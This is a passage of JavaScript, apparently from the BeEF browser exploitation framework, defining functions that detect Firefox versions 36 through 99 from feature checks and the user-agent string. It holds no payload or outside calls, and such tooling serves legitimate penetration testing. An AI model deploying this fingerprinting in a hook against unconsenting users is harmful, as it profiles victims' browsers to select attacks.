typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/36./) != null;\n    },\n\n    /**\n     * Returns true if FF37\n     * @example: beef.browser.isFF37()\n     */\n    isFF37: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/37./) != null;\n    },\n\n    /**\n     * Returns true if FF38\n     * @example: beef.browser.isFF38()\n     */\n    isFF38: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/38./) != null;\n    },\n\n    /**\n     * Returns true if FF39\n     * @example: beef.browser.isFF39()\n     */\n    isFF39: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/39./) != null;\n    },\n\n    /**\n     * Returns true if FF40\n     * @example: beef.browser.isFF40()\n     */\n    isFF40: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/40./) != null;\n    },\n\n    /**\n     * Returns true if FF41\n     * @example: beef.browser.isFF41()\n     */\n    isFF41: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/41./) != null;\n    },\n\n    /**\n     * Returns true if FF42\n     * @example: beef.browser.isFF42()\n     */\n    isFF42: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/42./) != null;\n    },\n\n    /**\n     * Returns true if FF43\n     * @example: beef.browser.isFF43()\n     */\n    isFF43: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/43./) != null;\n    },\n\n    /**\n     * Returns true if FF44\n     * @example: beef.browser.isFF44()\n     */\n    isFF44: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/44./) != null;\n    },\n\n    /**\n     * Returns true if FF45\n     * @example: beef.browser.isFF45()\n     */\n    isFF45: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/45./) != null;\n    },\n\n    /**\n     * Returns true if FF46\n     * @example: beef.browser.isFF46()\n     */\n    isFF46: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/46./) != null;\n    },\n\n    /**\n     * Returns true if FF47\n     * @example: beef.browser.isFF47()\n     */\n    isFF47: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/47./) != null;\n    },\n\n    /**\n     * Returns true if FF48\n     * @example: beef.browser.isFF48()\n     */\n    isFF48: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/48./) != null;\n    },\n\n    /**\n     * Returns true if FF49\n     * @example: beef.browser.isFF49()\n     */\n    isFF49: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/49./) != null;\n    },\n\n    /**\n     * Returns true if FF50\n     * @example: beef.browser.isFF50()\n     */\n    isFF50: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/50./) != null;\n    },\n\n    /**\n     * Returns true if FF51\n     * @example: beef.browser.isFF51()\n     */\n    isFF51: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/51./) != null;\n    },\n\n    /**\n     * Returns true if FF52\n     * @example: beef.browser.isFF52()\n     */\n    isFF52: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/52./) != null;\n    },\n\n    /**\n     * Returns true if FF53\n     * @example: beef.browser.isFF53()\n     */\n    isFF53: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/53./) != null;\n    },\n\n    /**\n     * Returns true if FF54\n     * @example: beef.browser.isFF54()\n     */\n    isFF54: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/54./) != null;\n    },\n\n    /**\n     * Returns true if FF55\n     * @example: beef.browser.isFF55()\n     */\n    isFF55: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/55./) != null;\n    },\n\n    /**\n     * Returns true if FF56\n     * @example: beef.browser.isFF56()\n     */\n    isFF56: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/56./) != null;\n    },\n\n    /**\n     * Returns true if FF57\n     * @example: beef.browser.isFF57()\n     */\n    isFF57: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/57./) != null;\n    },\n    \n    /**\n     * Returns true if FF58\n     * @example: beef.browser.isFF58()\n     */\n    isFF58: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/58./) != null;\n    },\n\n    /**\n     * Returns true if FF59\n     * @example: beef.browser.isFF59()\n     */\n    isFF59: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/59./) != null;\n    },\n\n    /**\n     * Returns true if FF60\n     * @example: beef.browser.isFF60()\n     */\n    isFF60: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/60./) != null;\n    },\n\n    /**\n     * Returns true if FF61\n     * @example: beef.browser.isFF61()\n     */\n    isFF61: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/61./) != null;\n    },\n\n    /**\n     * Returns true if FF62\n     * @example: beef.browser.isFF62()\n     */\n    isFF62: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/62./) != null;\n    },\n\n    /**\n     * Returns true if FF63\n     * @example: beef.browser.isFF63()\n     */\n    isFF63: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/63./) != null;\n    },\n\n    /**\n     * Returns true if FF64\n     * @example: beef.browser.isFF64()\n     */\n    isFF64: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/64./) != null;\n    },\n\n    /**\n     * Returns true if FF65\n     * @example: beef.browser.isFF65()\n     */\n    isFF65: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/65./) != null;\n    },\n\n    /**\n     * Returns true if FF66\n     * @example: beef.browser.isFF66()\n     */\n    isFF66: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/66./) != null;\n    },\n\n    /**\n     * Returns true if FF67\n     * @example: beef.browser.isFF67()\n     */\n    isFF67: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/67./) != null;\n    },\n\n    /**\n     * Returns true if FF68\n     * @example: beef.browser.isFF68()\n     */\n    isFF68: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/68./) != null;\n    },\n\n    /**\n     * Returns true if FF69\n     * @example: beef.browser.isFF69()\n     */\n    isFF69: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/69./) != null;\n    },\n\n    /**\n     * Returns true if FF70\n     * @example: beef.browser.isFF70()\n     */\n    isFF70: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/70./) != null;\n    },\n\n    /**\n     * Returns true if FF71\n     * @example: beef.browser.isFF71()\n     */\n    isFF71: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/71./) != null;\n    },\n\n    /**\n     * Returns true if FF72\n     * @example: beef.browser.isFF72()\n     */\n    isFF72: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/72./) != null;\n    },\n\n    /**\n     * Returns true if FF73\n     * @example: beef.browser.isFF73()\n     */\n    isFF73: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/73./) != null;\n    },\n\n    /**\n     * Returns true if FF74\n     * @example: beef.browser.isFF74()\n     */\n    isFF74: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/74./) != null;\n    },\n\n    /**\n     * Returns true if FF75\n     * @example: beef.browser.isFF75()\n     */\n    isFF75: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/75./) != null;\n    },\n\n    /**\n     * Returns true if FF76\n     * @example: beef.browser.isFF76()\n     */\n    isFF76: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/76./) != null;\n    },\n\n    /**\n     * Returns true if FF77\n     * @example: beef.browser.isFF77()\n     */\n    isFF77: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/77./) != null;\n    },\n\n    /**\n     * Returns true if FF78\n     * @example: beef.browser.isFF78()\n     */\n    isFF78: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/78./) != null;\n    },\n\n    /**\n     * Returns true if FF79\n     * @example: beef.browser.isFF79()\n     */\n    isFF79: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/79./) != null;\n    },\n\n    /**\n     * Returns true if FF80\n     * @example: beef.browser.isFF80()\n     */\n    isFF80: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/80./) != null;\n    },\n\n    /**\n     * Returns true if FF81\n     * @example: beef.browser.isFF81()\n     */\n    isFF81: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/81./) != null;\n    },\n\n    /**\n     * Returns true if FF82\n     * @example: beef.browser.isFF82()\n     */\n    isFF82: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/82./) != null;\n    },\n\n    /**\n     * Returns true if FF83\n     * @example: beef.browser.isFF83()\n     */\n    isFF83: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/83./) != null;\n    },\n\n    /**\n     * Returns true if FF84\n     * @example: beef.browser.isFF84()\n     */\n    isFF84: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/84./) != null;\n    },\n\n    /**\n     * Returns true if FF85\n     * @example: beef.browser.isFF85()\n     */\n    isFF85: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/85./) != null;\n    },\n\n    /**\n     * Returns true if FF86\n     * @example: beef.browser.isFF86()\n     */\n    isFF86: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/86./) != null;\n    },\n\n    /**\n     * Returns true if FF87\n     * @example: beef.browser.isFF87()\n     */\n    isFF87: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/87./) != null;\n    },\n\n    /**\n     * Returns true if FF88\n     * @example: beef.browser.isFF88()\n     */\n    isFF88: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/88./) != null;\n    },\n\n    /**\n     * Returns true if FF89\n     * @example: beef.browser.isFF89()\n     */\n    isFF89: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/89./) != null;\n    },\n\n    /**\n     * Returns true if FF90\n     * @example: beef.browser.isFF90()\n     */\n    isFF90: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/90./) != null;\n    },\n\n    /**\n     * Returns true if FF91\n     * @example: beef.browser.isFF91()\n     */\n    isFF91: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/91./) != null;\n    },\n\n    /**\n     * Returns true if FF92\n     * @example: beef.browser.isFF92()\n     */\n    isFF92: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/92./) != null;\n    },\n\n    /**\n     * Returns true if FF93\n     * @example: beef.browser.isFF93()\n     */\n    isFF93: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/93./) != null;\n    },\n\n    /**\n     * Returns true if FF94\n     * @example: beef.browser.isFF94()\n     */\n    isFF94: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/94./) != null;\n    },\n\n    /**\n     * Returns true if FF95\n     * @example: beef.browser.isFF95()\n     */\n    isFF95: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/95./) != null;\n    },\n\n    /**\n     * Returns true if FF96\n     * @example: beef.browser.isFF96()\n     */\n    isFF96: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/96./) != null;\n    },\n\n    /**\n     * Returns true if FF97\n     * @example: beef.browser.isFF97()\n     */\n    isFF97: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/97./) != null;\n    },\n\n    /**\n     * Returns true if FF98\n     * @example: beef.browser.isFF98()\n     */\n    isFF98: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/98./) != null;\n    },\n\n    /**\n     * Returns true if FF99\n     * @example: beef.browser.isFF99()\n     */\n    isFF99: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/99./) != null;\n    }, \n\n    /**\n     * Returns true if the browser is any version of Firefox.\n     * @example: 